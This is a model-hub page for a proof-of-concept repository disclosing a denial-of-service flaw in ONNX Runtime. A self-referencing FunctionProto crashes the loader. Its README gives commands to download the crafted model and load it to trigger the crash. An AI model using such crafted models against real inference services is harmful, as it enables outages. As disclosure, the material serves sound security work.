Yash1106/onnxruntime-recursive-dos-poc

By Yash1106 · ↓ 0 · ♥ 0 · Updated 2026-01-28

What's in this repo

This page lists the files in Yash1106/onnxruntime-recursive-dos-poc, including recursive_dos_poc.onnx.

1 ONNX models (.onnx files)
3 files, including 1 .md, 1 .onnx
Last updated 2026-01-28

ONNX files

File	Size	Download
recursive_dos_poc.onnx	—	Download

How to use

These ONNX files can be loaded with ONNX Runtime. To inspect a model graph, upload the file to the Netron viewer. Download links point to the original files on Hugging Face.

README

ONNX Runtime Recursive FunctionProto DoS PoC

Vulnerability

ONNX Runtime crashes (SIGSEGV) when loading a model with self-referencing FunctionProto.

CWE

CWE-674: Uncontrolled Recursion

Affected

onnxruntime 1.19.2 (and likely all versions)

Reproduce

pip install onnx onnxruntime
wget https://huggingface.co/Yash1106/onnxruntime-recursive-dos-poc/resolve/main/recursive_dos_poc.onnx
python3 -c "import onnxruntime as ort; ort.InferenceSession('recursive_dos_poc.onnx')"
# Crashes with exit code 139 (SIGSEGV)

Note

ONNX checker passes this model - the vulnerability is in onnxruntime's function expansion.

Model info

onnx region:us

↓ 0 ♥ 0

Created: 2026-01-28

Updated: 2026-01-28

View on Hugging Face

Files (3)

.gitattributes

README.md

recursive_dos_poc.onnx ONNX

Related models

More models

No task type declared.